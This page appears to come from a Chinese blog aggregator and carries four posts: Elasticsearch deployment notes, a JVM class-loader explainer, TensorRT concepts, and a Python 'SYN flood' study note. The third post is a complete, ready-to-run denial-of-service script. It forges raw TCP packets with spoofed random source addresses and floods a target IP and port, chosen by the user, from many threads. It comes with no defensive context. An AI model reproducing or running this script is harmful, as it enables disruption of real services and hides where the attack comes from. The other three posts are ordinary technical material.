首页 文章 精选 留言 我的

精选列表

搜索[学习],共10000篇文章
优秀的个人博客,低调大师

Elastic Stack学习--elasticsearch部署

Elastic Stack是一套支持数据采集、存储、分析、展现的全流程数据分析工具,旧时称作ELK(Elasticsearch,Logstash,Kibana的缩写,)。Elastic Stack由一系列的工具集组成,其核心组成如下图: Logstash & Beats:数据采集工具,logstash适合大批量数据的采集,其结构较重,消耗资源较大,适合集群化部署。beats是一系列轻量级的数据采集工具,消耗资源较小,适合分散部署在各个业务节点上收集数据。 Elasticsearch:ELK的核心模块,是一套分布式数据检索引擎,提供数据的检索分析能力;提供二进制和restful两种类型的接口,可供上层进行数据检索; Kibana:前端用户展示界面,一方面,通过界面化方式监控和管理Elasticsearch、logstash等进程。另一方面,提供数据的检索和展示图形化界面; x-pack:一套用于elasticsearch、kibana、logstash的功能增强包,包括权限管理、告警、监控、图形化展现、报表等功能。当前使用收费,计划6.3版本后开源所有功能; Elastic Cloud:Elastic Stack的容器化解决方案,可将Elastic Stack相关进程都实现容器化部署,该功能并非必须功能; Elastic Stack中的每一个工具都可以独立部署使用,可根据实际需求进行技术选型,并非一定要完整安装每一个组件。安装Elastic Stack,首先必须保证所使用的每一个组件都具有相同的版本号,比如:elasticsearch使用6.2.2版本,则kibana、logstash以及相应的客户端组件等都应该使用相同的版本号,以便于功能相互兼容。各个进程组件的安装顺序如下,可根据实际需求取舍: Elasticsearch部署 Elasticsearch安装X-Pack Kibana部署 Kibana安装X-Pack Logstash部署 Logstash安装X-Pack Beats部署 Elasticsearch Hadoop部署 Elasticsearch部署 下载安装包,我们使用tar包:https://www.elastic.co/cn/downloads/elasticsearch 解压并进入目录: tar -xzf elasticsearch-6.2.2.tar.gz cd elasticsearch-6.2.2/ 前台方式启动进程:启动elasticsearch进程,使用默认端口:9200; ./bin/elasticsearch 后台方式启动进程:默认情况下,直接运行elasticsearch命令,将会在命令行启动非后台进程,并且输出日志到stdout。通过ctrl+c或者ctrl+z可以关闭进程;如果想启动后台进程,则可以执行如下命令,其中-d参数表示以守护进程方式运行,-p参数指定pid文件路径: ./bin/elasticsearch -d -p pid_file 通过命令行配置启动参数:elasticsearch可以通过命令行和配置文件(config/elasticsearch.yml文件)两种方式设置启动参数;其中,命令行方式适合配置需要随进程启动动态修改的参数,如node.name配置;而配置文件适合存放变化较小的通用配置,如cluster.name配置;如下是通过命令行参数配置cluster.name和node.name配置的样例,对于每个配置项前面加-E参数: ./bin/elasticsearch -d -Ecluster.name=my_cluster -Enode.name=node_1 问:对于使用命令行配置还是配置文件配置,应该如何取舍?1)看配置项是否需要根据进程每次启动时候动态设置,如果需要,则通过命令行配置,否则通过配置文件配置;2)集群范围的配置使用配置文件配置;特定实例的配置使用命令行配置; 验证启动是否成功:通过curl调用elasticsearch的http端口,查看输出; curl -XGET 'localhost:9200/?pretty' 输出json类似如下: { "name" : "Cp8oag6", "cluster_name" : "elasticsearch", "cluster_uuid" : "AT69_T_DTp-1qgIJlatQqA", "version" : { "number" : "6.2.2", "build_hash" : "f27399d", "build_date" : "2016-03-30T09:51:41.449Z", "build_snapshot" : false, "lucene_version" : "7.2.1", "minimum_wire_compatibility_version" : "1.2.3", "minimum_index_compatibility_version" : "1.2.3" }, "tagline" : "You Know, for Search" } elasticsearch默认目录结构 home:elasticsearch安装根目录,$ES_HOME变量指向目录; bin:存放二进制程序,其中elasticsearch用于启动主进程,elasticsearch-plugin用于安装插件,默认:$ES_HOME/bin; conf:存放配置文件,包括:elasticsearch.yml,jvm.options,log4j2.properties,默认:$ES_HOME/config,通过ES_PATH_CONF环境变量修改; data:数据文件存放路径,可以指定多个,多个路径以逗号分隔默认:$ES_HOME/data,通过path.data配置项修改; logs:日志文件路径,默认:$ES_HOME/logs,通过path.logs配置项修改; plugins:存放安装插件,每个插件放到一个子目录中,默认:$ES_HOME/plugins; repo:共享文件系统仓库路径,默认:未配置,通过path.repo配置项修改; script:脚本文件路径,默认:$ES_HOME/scripts,通过path.scripts配置项修改; elasticsearch配置文件 配置文件默认放在$ES_HOME/config目录,可以通过设置ES_PATH_CONF环境变量修改: export ES_PATH_CONF=/path/to/my/config ./bin/elasticsearch elasticsearch包括3个配置文件: elasticsearch.yml:主要配置文件; jvm.options:jvm参数配置,比如堆内存; log4j2.properties:日志配置; elasticsearch.yml elasticsearch.yml配置文件使用yaml格式配置,可以支持环境变量; node.name: ${HOSTNAME} network.host: ${ES_NETWORK_HOST} jvm.options jvm.options用于配置虚拟机参数,也可以通过$ES_JAVA_OPTS环境变量进行修改; export ES_JAVA_OPTS="$ES_JAVA_OPTS -Djava.io.tmpdir=/path/to/temp/dir" ./bin/elasticsearch elasticsearch常用配置项整理 path.data 和 path.logs默认情况下,elasticsearch会将数据和日志存放到根目录的data和logs目录下,如果需要改变数据或者日志的存放路径,则可以显式设置path.data和path.logs。path.data可以指定多个路径,便于将数据存放到多块磁盘上。 cluster.name用于唯一标识一个elastic集群的集群名称,一个节点只能归属于一个集群,因此只能指定一个集群名称。默认名称为elasticsearch;节点间会根据集群名称判断是否归属于同一个集群,因此不同的集群名称一定不能相同。 node.nameelasticsearch使用nodeId唯一标识一个实例,默认情况下,会使用UUID的前7位作为实例的nodeId,nodeId会被持久化,不会随着实例重启而发生变化。通过node.name可以指定一个实例的nodeId,可以使名称可读或者更加有意义。如果一个主机下仅部署一个实例,则可以指定node.name为主机名: node.name: ${HOSTNAME} network.host用于指定elasticsearch实例绑定的ip地址,默认为:127.0.0.1和[::1]。对于集群而言,每个实例都应该指定一个非回环地址,便于被网络中的节点发现; discovery.zen.ping.unicast.hostselasticsearch发现集群的方式为点对点查找,因此需要指定集群中的每个节点所在的ip地址和端口,如果不指定端口,则默认查找9300端口;可以是如下格式: discovery.zen.ping.unicast.hosts: - 192.168.1.10:9300 - 192.168.1.11 - seeds.mydomain.com discovery.zen.minimum_master_nodes标识选举master时,至少需要几票才可以当选,为了减缓脑裂的发生,通常设置该值为: ( 参选节点数 / 2 ) + 1 堆内存设置 堆内存设置在jvm.options配置文件中,默认设置为1GB;在生产环境下,该值通常需要调整。调整建议如下:设置xms和xmx相等,以便于一开始边分配好所需内存,避免增量分配内存带来的性能消耗;xmx设置不超过可用物理内存的50%,以确保内核文件系统有足够内存用作缓存;xmx设置应该小于jvm指针压缩的临界点,因为超过该临界点,jvm将不使用指针压缩,导致内存使用量增加;一般临界点值小于32G,不同的系统有所不同,设置26G大小可以满足大多数系统指针压缩条件。可通过添加如下参数来测试临界点: -XX:+UnlockDiagnosticVMOptions -XX:+PrintCompressedOopsMode 也可以通过$ES_JAVA_OPTS环境变量设置虚拟机参数; 重要系统配置 设置系统资源上限elasticsearch需要调整使用系统资源的限制,如文件文件句柄数的限制。不同操作系统的参数配置不同。linux系统下,系统参数的配置通过如下两种方式: 临时配置:使用ulimit命令配置; 永久配置:在/etc/security/limits.conf中配置; bootstrap.memory_lock:禁用swap默认情况下,操作系统会开启swap。使用swap,可能将jvm堆内存交换到硬盘上,导致jvm回收性能由毫秒级变为分钟级,可能导致响应变慢或者集群断连。通过设置bootstrap.memory_lock为true,来禁止elasticsearch内存被交换出去;通过如下命令可以检测配置是否生效: curl -XGET 'localhost:9200/_nodes?filter_path=**.mlockall&pretty' 如果返回false,则说明锁定失败; 文件句柄数配置elasticsearch会使用较多文件句柄,因而需要设置elasticsearch文件句柄数高于65536个;通过如下命令配置: ulimit -n 65536 或者在/etc/security/limits.conf中配置nofile: username - nofile 65536 可通过如下命令检查当前允许的最大文件句柄数: curl -XGET 'localhost:9200/_nodes/stats/process?filter_path=**.max_file_descriptors&pretty' 虚拟内存设置elasticsearch默认使用mmapfs类型目录存放索引,而操作系统默认的mmap个数太低,需要调高;通过在root用户下执行如下命令进行调整: sysctl -w vm.max_map_count=262144 如果需要永久生效,则更新/etc/sysctl.conf中的vm.max_map_count配置; 设置线程数elasticsearch使用多个线程池来进行不同类型的操作,需要确保系统线程数限制高于4096;可通过如下命令配置: ulimit -u 4096 或者在/etc/security/limits.conf中配置nproc数量; username - nproc 4096 常用环境变量 $ES_HOME:elasticsearch安装根目录; $ES_PATH_CONF:elasticsearch配置文件存放目录; $ES_JAVA_OPTS:jvm参数配置; $ES_TMPDIR:配置临时文件存放目录;即java.io.tmpdir的值;默认:/tmp 参考资料 Elasticsearch: Getting StartedProven Architectural Patterns for Mature Elastic Stack DeploymentsIntroduction to Logging Architecture with Elastic (FR)集群分片部署策略

优秀的个人博客,低调大师

jvm学习--类加载器

1 什么是类加载机制? java程序的从源代码到执行的过程包括编译和运行两个阶段。编译阶段由编译器执行,将源代码(.java)文件编译成字节码文件(class文件);运行阶段由JVM执行,将字节码文件加载到内存中,变为虚拟机可以直接使用的数据结构,该过程即为类加载机制。 2 类加载过程包括哪些阶段?生命周期如何? 类加载过程包括如下7个阶段:1)加载:从字节码二进制变为Class对象;2)验证:校验字节码格式是否合法;3)准备:为类变量static修饰变量赋初始零值,分配内存;4)解析:将常量池中的符号引用替换为直接引用;5)初始化:执行类构造器,包括:给类变量赋默认值,执行类中的静态代码块;6)使用:在程序方法中使用类;7)卸载:对方法区(元空间)中的Class对象进行GC回收,清除不必要的Class对象; 其中验证、准备、解析3个阶段被合称为连接阶段,即将Class对象与内存关联映射的过程。为了保证类加载的灵活性,java虚拟机规范仅要求加载、验证、准备、初始化、卸载的顺序固定,对于解析在什么阶段进行并没有给出详细约束,解析阶段也可以发生在初始化之后,用于支持运行时绑定(晚绑定、动态绑定)。 注意:此处的生命周期都是针对单个类而言的,出于性能考虑,jvm施行按需加载的策略,只有当类将要被使用时,才会加载。并不会在jvm启动时就加载所有的类。因此类加载的完整过程可能发生在jvm运行的任何时候。 2.1 加载阶段 加载阶段是整个加载过程的一部分,是指将class二进制流转换为Class对象,存入内存模型中的方法区(元空间)的过程;加载分为2类:普通类的加载和数组类的加载。 普通类的加载是指直接通过类加载加载的类。与之相对应的数组类的加载不是由类加载器加载的。在java中,数组变量也是一种对象,因而具有对象的类型。数组对应的类型,是由虚拟机在运行时自动创建并加载的,其类的全限定名是在数组元素类型的全限定名之前加上[L,比如mypackage.MyClass对应的数组类型为[Lmypackage.MyClass。 2.1.1 普通类的加载过程 1) 通过类的全限定名(包名.类名)获取类的二进制字节流。之所以限定为二进制流,而非文件,是为了提高灵活性,Java在类的数据,既可以来自本地文件,也可以来自网络数据流,甚至可以通过字节码生成工具自动生成。这就极大地丰富了”创造”类对象的手段,比如: jdk提供的动态代理技术在Proxy中,通过ProxyGenerator.generateProxyClass来为特定的接口生成形式为*$Proxy的代理类二进制字节流,为AOP的实现提供了基础。 2) 将字节流所代表的静态存储结构转化为方法区(jdk1.8为元空间)的运行时数据结构。 3) 在内存中生成一个代表这个类的java.lang.Class对象,作为方法区(jdk1.8为元空间)这个类数据的访问入口; 问:元空间内类数据存放的结构是怎样的,是否有规范可循? 2.1.2 数组类的加载过程 1) 如果数组的元素类型是引用类型,则递归加载元素类型,然后在元素类型所属的类加载器的类名空间中标识数组类;即:数组类型和元素类型使用相同的类加载器加载; 2) 如果数组的元素类型是基础类型,则在系统类加载器(AppClassLoader)的类名空间中标识数组类;即:数组类型使用系统类加载器加载; 3) 生成数组类的可见性与元素类型的可见性一致;如果元素类型是基础类型,则数组类型的可见性默认为public; 问1:当数组元素类型为基础类型时,基础类型是由引导类加载器(BootstrapClassLoader)加载的,是否是因为引导类加载器对于数组类型而言不可见,故使用系统类加载器? 问2:类和类加载器是如何关联的? 此处要区分类的加载和初始化2个阶段,当出现如下代码时,虽然不会触发类的初始化,但会触发类的加载; /** * <h1>被动引用会加载类,但不会进行类初始化</h1> * <p> * -XX:+TraceClassLoading * </p> */ public class NotLoad { // 不会加载,因为没有初始化ElementClass static class RefClass { static { System.out.println("RefClass has bean initialized."); } } // 会加载,不会初始化 private static class ElementClass { static { System.out.println("ElementClass has bean initialized."); } private RefClass ref; } public static void main(String[] args) { // 创建数组,元素类型为ElementClass // 只会加载ElementClass,不会初始化 ElementClass[] elements = new ElementClass[10]; } } 运行结果如下,可以看到NotLoad类和ElementClass类的加载信息: 由于静态块是在类的初始化阶段执行,而结果中并未打印静态块中的语句,因而可以断定jvm位对ElementClass类进行初始化; 2.2 验证阶段 验证阶段的主要目的是为了确保class字节流数据的合法性,防止损害虚拟机自身的安全。因而验证阶段可以看做是出于安全考虑而增加的额外阶段,假定所加载的class字节流可以保证安全,则该阶段可以跳过。通过-Xverify:none参数可以关闭验证。 2.2.1 验证内容包含哪些? 1) 文件格式验证:验证字节流是否符合Class文件格式规范;2) 元数据验证:语义分析,对元数据的数据类型进行校验,保证字节码描述信息符合JAVA语言规范;3) 字节码验证:通过数据流和控制流分析,确定程序的语义是合法的,主要是对方法体中代码的分析;4) 符号引用验证:发生在将符号引用转化为直接引用时(与解析阶段重叠),校验符号引用是否能够找到匹配的类; 2.2.2 如何理解StackMapTable优化? 该优化仅在jdk<1.7时有效。优化原因是字节码验证复杂度高,对性能消耗较多。为了提高运行时字节码验证的效率,将数据流分析提前到编译阶段完成,并将分析结果存放到字节码文件Code属性表的StackMapTable属性中。从而在校验时,直接读取StackMapTable中的分析结果进行校验即可,缩短了校验时间。但该优化也可能存在风险,即StackMapTable是存放在字节码文件中的,本身也是可以被篡改的。可以通过-XX:-UseSplitVerifier参数关闭StackMapTable优化。 2.3 准备阶段 准备阶段主要是为类变量(static修饰)分配内存,赋初始零值。此处的零值并非代码中显式为类变量赋予的默认值,而是指数据类型的零值。如果是常量(static final修饰,且字段属性表存在ContantValue属性),则初始值为常量值。ContantValue属性的值是在编译时放入的。 2.3.1 如何理解零值? 数据类型的零值,而非代码中给出的默认值。为static变量赋默认值的操作,是在初始化阶段执行类构造器clinit时由putstatic指令完成的。clinit是在编译阶段生成的。不同的数据类型的零值如下: 引用类型零值为null; 数值类型零值为0; boolean值类型零值为false; char类型零值为u0000; 2.4 解析阶段 将常量池中的符号引用替换为直接引用。符号引用的解析是原子性的,对于同一符号引用的多次解析,要么全部成功,要么全部失败。 2.4.1 解析发生的时机是什么时候? JVM规范并未规定解析阶段发生的具体时间,即虚拟机实现可以根据需要判断在类加载时就进行解析,还是在一个符号引用将要被使用前才去解析。这样做的主要目的是为了提高类整个类加载过程的灵活性。 2.4.2 什么是符号引用?什么是直接引用? 符号引用相当于一个占位符,用该占位符来描述代码执行时所引用的目标。目标并不局限于类/接口,它可以是:类/接口、字段、类方法、接口方法、方法类型、方法句柄、调用点限定符。符号引用并不需要考虑实际的内存布局,只要能够唯一标定要引用的目标即可。 直接引用是引用目标内存地址的标识,可以是一个指针、相对偏移量或者一个能够间接定位到目标的句柄。与内存布局强相关,因而不同的虚拟机实例上相同目标的直接引用一般不同。直接引用代表了引用目标在内存中的存在性,如果有直接引用,说明引用目标在内存中一定存在。 2.4.3 什么是符号引用缓存? 解析过程中,可能存在对于同一个符号引用进行多次解析请求。为了提高效率,避免重复解析,可以对符号引用进行缓存(在运行时常量池中记录直接引用,并把常量标识为已解析状态); 2.4.4 如何理解引用目标? 解析都是针对方法体或者代码块中的执行的语句来说的。解析的目的是将方法体或者代码块中执行语句的符号引用替换为直接引用。对于成员变量直接赋引用或者用new操作符创建的情况,实际是在类构造器和实例构造器中执行的;亦可看做是在方法中的语句。 2.4.4.1 引用类的解析; 1) 如果引用目标不是数组类型,则根据全限定名加载目标类;加载目标类使用当前类的类加载器;2) 如果引用目标是数组类型,且数组的元素类型引用类型,则先加载数组的元素类型,再创建数组类型对象;3) 如果上述完成,则验证对引用目类标是否具有访问权限;如果不具有访问权限,则抛出java.lang.IllegalAccessError错误; 2.4.4.2 引用字段的解析; 1) 先解析字段所属类/接口的符号引用,然后解析字段的符号引用;2) 字段的直接引用查找顺序: 2.4.4.3 引用方法的解析; 1) 先解析方法所属类/接口的符号引用,然后解析方法的符号引用; 2) 类和接口方法符号引用的常量类型定义是分开的,需要分别解析; 3) 类方法的直接引用查找顺序: 注:类方法和接口方法引用的查找的区别在于,类方法一定要有一个实现了的方法,否则抛出异常; 4) 接口方法的引用查找顺序: 2.5 初始化阶段 初始化阶段是执行类构造器的阶段。类构造器是有编译器生成的,主要用来为类的静态变量设置默认值,执行静态代码块。 2.5.1 如何理解类构造器? 1) clinit方法是由编译器自动收集类中的所有类变量(静态成员变量)的赋值动作和静态代码块中的语句合并产生的;2) 编译器的收集顺序是由类变量赋值语句和静态代码块在源文件中出现的顺序决定的;3) 静态代码块只能访问定义在其前面的类变量,但可以给定义在其后的类变量赋值;4) clinit方法无需在调用自己之前,调用父类的clinit方法,因为虚拟机能够保证先调用父类的clinit方法,第一个被执行的clinit方法一定是java.lang.Object类;5) 因为父类的clinit方法先执行,所以父类的静态代码块要先于子类的静态代码块和类变量赋值语句执行;6) 接口和父接口的clinit方法执行顺序不需要保证,因为接口中没有定义静态块,只可能出现接口变量赋值的情况;而接口变量赋值的情况不需要保证顺序;7) clinit方法并不是必需的,如果类中没有对类变量的赋值语句,也没有静态代码块,则编译器不会为类生成clinit方法;8) 虚拟机会保证一个类clinit方法在多线程环境中被正确的加锁、同步;如果多个线程同时去初始化一个类,只有一个线程执行clinit方法,其余线程会被阻塞,直到方法执行完才被唤醒,且唤醒后不会再次执行clinit方法;9) 对于同一个类加载器,一个类型只会初始化一次,所以一个类的clinit方法只会被执行一次; 2.5.2 什么时候进行类的初始化?初始化的条件是什么? 类的初始化分为2中:类的初始化和接口的初始化。类的初始化主要包括:类变量赋值语句、静态代码块初始化两部分。接口的初始化只包括类变量的赋值语句。 2.5.2.1 触发条件 所有类初始化触发条件的先决条件是:类未被初始化; 1) 代码中遇到new、getstatic/setstatic、invokestatic指令时,执行初始化;4条指令分别对应的操作是创建一个对象,读取/设置类变量,调用类的静态方法。2) 通过java.lang.reflect包的方法对类进行反射调用;3) 初始化子类时,如果父类未初始化,则先初始化父类;初始化接口时,与此处有区别,接口初始化不要求先初始化接口的所有父接口;4) 启动虚拟机时,如果主类(包含main方法的类)未初始化,则先初始化主类;5) 支持动态语言时,java.lang.invoke.MethodHandle实例解析的结果REF_getStatic,REF_putStatic,REF_invokeStatic的方法句柄,句柄对应的类未初始化,则先初始化; 2.5.2.2 哪些场景不会触发类的初始化? 1) 通过子类引用父类的静态字段,则只初始化父类,子类不会被初始化;对于静态字段,只有直接定义这个字段的类,在引用时会被初始化。比如下面语句不会触发SubClass类的初始化: System.out.println(SubClass.superStaticField); 2) 创建数组对象,不会触发数组元素的初始化;newarray指令:定义某个类型的数组时,不会触发该类的初始化;只会触发数组类的初始化。比如如下代码,会触发[Lmypackage.MyClass数组类的初始化; MyClass[] arr = MyClass[10]; 3) 常量传播优化:常量在调用时,存储调用类的常量池中,本质上并没有直接引用到定义常量的类,故不会触发定义常量类的初始化;比如如下代码: System.out.println(OtherClass.finalStaticField); 2.5.2.3 创建类的数组时,使用了new关键字,为什么没有初始化类? 创建类的数组时,并不进行mypackage.MyClass类的初始化,而是进行[Lmypackage.MyClass的初始化; [Lmypackage.MyClass类代表了mypackage.MyClass类的一维数组类型,由newarray指令创建。该类封装了数组的访问方法,包括:clone()和length()方法。 数组的创建使用newarray指令而非new指令;当使用newarray指令时,会触发[Lmypackage.MyClass类的创建,这是由虚拟机自动生成的、直接继承java.lang.Object的子类。 2.5.2.4 java在创建数组时,为什么要创建[Lmypackage.MyClass类型? [Lmypackage.MyClass类记录数组的元数据和访问方法,为了更好的进行数组类型校验和安全访问;数组越界检查封装在xaload和xastore字节码指令中,每次访问或者修改数组都会进行越界检查;如果访问索引越界,则跑出java.lang.ArrayIndexOutOfBoundsException异常; 对比:c/c++对于数组的访问直接翻译为数组指针的移动,因而不能进行安全检查; 2.5.2.5 什么是常量传播优化?为什么调用类的常量不会触发该类的加载? 为了提高性能,在编译阶段会将java类中被final static修饰的常量直接放到调用类自己的常量池中;调用类对常量的引用实际转化成了对自己常量池的引用;因而在调用时,不会加载定义常量的类; 2.5.2.6 接口的初始化和类的初始化有什么区别?为什么会有这个区别? 区别:初始化子接口时,不会要求父接口全部初始化,只有真正用到父接口时才会初始化;但编译器仍然会为接口生成类构造器(),用于初始化接口中的成员变量。 原因:类中可以定义static块,该块需要在类初始化后执行,且有执行顺序的要求,需要先执行父类中的static块,再执行子类中的static,因此需要先初始化父类;而接口中不允许static块,所以无需初始化父类。 3 什么是类加载器? 虚拟机设计团队把类加载阶段中的"通过一个类的全限定名来获取描述此类的二进制字节流"这个动作放到JVM外部去实现,以便让应用程序自己决定如何去获取所需要的类。 实现这个动作的代码模块称为"类加载器"。每一个类加载器都有一个独立的类名称空间,因此类的唯一性需要类加载器和类本身一起确定。 类相等的前提是需要在同一个类加载器的前提下判断,不同的类加载器加载相同的类,equals()/isAssignableFrom()/isInstance()/instanceof方法结果都会返回false。 除了Boostrap的其它类加载器都继承自抽象类:java.lang.ClassLoader。 3.1 类加载器的分类 3.1.1 启动类加载器(Bootstrap ClassLoader) 负责加载放在${JAVA_HOME}/lib目录中的类,或者由-Xbootclasspath参数所指定的路径中,且是被虚拟机识别的类库;虚拟机按照名称识别类。Bootstrap类加载器无法被java程序直接引用,用户自动义类加载器时,如果需要把加载请求委派给Bootstrap类加载器,则直接返回null即可。 3.1.2 扩展类加载器(Extension ClassLoader) 负责加载${JAVA_HOME}/lib/ext目录中的类,或者被java.ext.dirs变量所指定路径中的类库。扩展类加载器可以直接使用。类型:sun.misc.Launcher.ExtClassLoader。 3.1.3 应用程序类加载器(Application ClassLoader) 又称为系统类加载器;负责加载用户类路径${CLASSPATH}上的所指定的类库。通过ClassLoader.getSystemClassLoader()方法可以获得,开发者可以直接使用。如果用户没有自定义类加载器,则默认使用系统类加载器。类型:sun.misc.Launcher.AppClassLoader。 3.1.4 自定义类加载器(User ClassLoader) 用户自定义的类加载器;可通过重写loadClass方法或者findClass方法实现。 3.1.4.1 两种方法有什么区别? 两种实现方式的区别在于重写loadClass可以不遵守双亲委派模型,而重写findClass仍然遵守双亲委派模型。 3.1.5 线程上下文类加载器(Thread Context ClassLoader) 为每个线程提供一个上下文类加载器,调用Thread.setContextClassLoader()方法进行设置。如果当前线程没有设置,则会从父线程的类加载器。如果应用全局范围没有设置,则默认使用系统类加载器。 3.1.5.1 线程上下文类加载器有什么作用? 便于基础类库调用上层服务的类库。比如,涉及SPI(Service Provider Interface,服务提供商接口)接口调用的场景,虚拟机在加载SPI的类库时,使用Thread的ContextClassLoader进行加载,具体厂商可以在加载前通过setContextClassLoader方法指定Thread的ContextClassLoader,用来加载自己的业务实现,从而实现了基础服务调用具体的上层业务实现的功能。 3.2 双亲委派模型 3.2.1 什么是双亲委派模型? 双亲委派模型是一种职责链模式实现,每个类加载器都包含一个parent的类加载器属性,用于存放上一级类加载器的引用,从而组成一个类加载器的调用链。调用链从最顶层开始类加载,每个类加载器都只负责加载符合自身加载条件的类。类加载器按照层次自上而下分别是:Bootstrap类加载器、扩展类加载器、应用程序类加载器、自定义类加载器。其中,Bootstrap类加载器和扩展类加载器分别用来加载JVM运行所需的基本类库和扩展类库;应用程序类加载器和自定义类加载器则用来加载程序运行所需的类库。类加载器中的这种层次关系称为双亲委派模型。如下图: 双亲委派模型要求除了顶层的启动类加载器外,其余的类加载器都应当有自己的父类加载器。类加载器之间的父子关系一般不会以继承关系来实现,而是由组合关系来复用父加载器的代码(合成复用原则)。双亲委派模型并非强制约束,允许根据业务需求更改。 3.2.2 双亲委派模型的调用过程 虚拟机中所有类的加载,会按照自顶向下的优先级执行加载,父类加载器优先加载,如果失败,再交由子类加载器加载:1) 类加载器在收到类加载请求时,会先委派给父类进行加载,调用父类的loadClass方法;2) 如果当前父类加载器没有父类(父类为null),则使用Bootstrap类加载器进行类加载;如果加载失败,则抛出ClassNotFound异常;3) 子类加载器捕获异常,进行类加载;如果加载失败,则抛出异常,交由下一级子类加载器;过程如下: 双亲委派模型的逻辑在ClassLoader类的loadClass方法中实现,代码主要逻辑如下: protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { // 1.检查类是否被加载过 Class<?> c = findLoadedClass(name); if (c == null) { // 2.使用父类加载器加载 try { if (parent != null) { c = parent.loadClass(name, false); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { // 如果加载失败,则抛出异常 } // 3.父类加载器加载失败,使用当前类加载器加载 if (c == null) { c = findClass(name); } } // 4.解析类 if (resolve) { resolveClass(c); } return c; } 方法首先检查是否已经加载过。若没有加载,则调用父类加载器的loadClass()方法进行类加载。若父类加载器为null,则默认使用Bootstrap类加载器作为父类加载器。如果父类加载失败,则抛出ClassNotFoundException异常,此时再调用当前类加载器的findClass()方法进行加载。 3.2.3 为什么要使用双亲委派模型? 固化类的加载次序,保证类加载层次结构的稳定性,基础类库一定是由层次较高的父类加载器进行加载,从而保证了类的唯一性,避免混乱。 4 应用案例 1) 涉及SPI(Service Provider Interface,服务提供商接口)接口调用的场景,即基础模块调用自定义模块的情况;比如:JDBC、JNDI等;2) Servlet容器的实现,要求不同的web应用使用不同的类加载器加载,确保隔离性;3) OSGI实现,为了实现模块的热替换,每个模块(Bundle)包含一个自己的类加载器,当需要替换模块时,将模块连同类加载器一同替换; 5 相关知识点 职责链模式 6 问题思考 7 参考 1) 《深入理解java虚拟机(第2版)》第7章 虚拟机类加载机制;2) Tomcat9类加载器实现原理:http://tomcat.apache.org/tomcat-9.0-doc/class-loader-howto.html

优秀的个人博客,低调大师

Python实现SYNFlood,学习笔记

版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396333 是Python2还是3我给忘记了,大家自己试试吧。 #!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import random import threading class myThread (threading.Thread): def __init__(self,dstip,dstport,mode): threading.Thread.__init__(self) self.dstip = dstip self.dstport =dstport self.mode =mode def run(self): attack(self.dstip,self.dstport,self.mode) def checksum(data): s = 0 n = len(data) % 2 for i in range(0, len(data)-n, 2): s+= ord(data[i]) + (ord(data[i+1]) << 8) if n: s+= ord(data[i+1]) while (s >> 16): s = (s & 0xFFFF) + (s >> 16) s = ~s & 0xffff return s def IP(source,destination,udplen): version = 4 ihl = 5 tos = 0 tl = 20+udplen ip_id = random.randint(1,65535) flags = 0 offset = 0 ttl = 128 protocol =6 check =0 source = socket.inet_aton(source) destination = socket.inet_aton(destination) ver_ihl = (version << 4)+ihl flags_offset = (flags << 13)+offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, socket.htons(check), source, destination) return ip_header def TCP(srcip,dstip,protocol,dp,fg): source = socket.inet_aton(srcip) destination = socket.inet_aton(dstip) srcport=random.randint(1,65535) dstport=dp syn_num=random.randint(1,4000000000) if fg == 2: ack_num=0 else: ack_num=random.randint(1,4000000000) hlen=5 zero=0 flag=fg window=8192 check=0 point=0 tcplen=hlen h_f=(hlen << 12)+flag TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point) check=checksum(TCP_head) TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point) return TCP_head def makepacket(dstip,dstport,fg): srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255)) protocol=6 ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) return ippacket def attack(dstip,dstport,mode): if mode == 'syn': fg=2 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport)) elif mode == 'ack': fg=18 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport)) elif mode == 'syn&ack': while 1: data=makepacket(dstip,dstport,2) s.sendto(data,(dstip,dstport)) data=makepacket(dstip,dstport,18) s.sendto(data,(dstip,dstport)) else: print('DON\'T xia say!') dstip=raw_input('attack IP:') dstport=int(input('attack PORT:')) mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads:")) ip_first=[] for i in range(1,10): ip_first.append(i) for i in range(11,172): ip_first.append(i) for i in range(173,192): ip_first.append(i) for i in range(193,224): ip_first.append(i) s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) threads_name=[] for i in range(threads): threads_name.append('teread'+str(i)) for i in range(threads): threads_name[i]=myThread(dstip,dstport,mode) for i in range(threads): threads_name[i].start()

优秀的个人博客,低调大师

Tensor RT学习笔记(二)

关键概念:网络定义:网络定义由一系列层和一组张量组成;层:每一层从一组输入张量计算一组输出张量。 图层具有参数,例如卷积大小,跨度和卷积滤波器权重。张量:张量既可以是网络的输入,也可以是图层的输出。 张量具有指定其精度的数据类型,例如16位和32位浮点数以及三个维度,例如通道,宽度和高度。 输入张量的尺寸由应用程序定义,输出张量由构建器推断。 支持的维度是N(P_1 P_2 ...)CHW,其中P_1,P_2等是索引维度。 张量总共可以有最多Dims :: MAX_DIMENSIONS个维度,其中该常量设置为8。每个图层和张量都有一个名称,在分析或读取TensorRT构建日志时非常有用。使用NvCaffeParser时,张量和图层名称将从NVCaffe原型文件中获取。TensorRT API:TensorRT API允许开发人员导入,校准,生成和部署优化的网络。 网络可以直接从NVCaffe或通过UFF格式从其他框架导入。 它们也可以通过实例化各个图层并直接设置参数和权重来以编程方式创建。除了C ++中的主要API之外。 TensorRT包含TensorRT python API绑定。 TensorRT python API目前支持除RNN之外的所有功能。 它引入了与NumPy数组对于图层权重的兼容性,并通过使用PyCUDA,输入和输出数据。 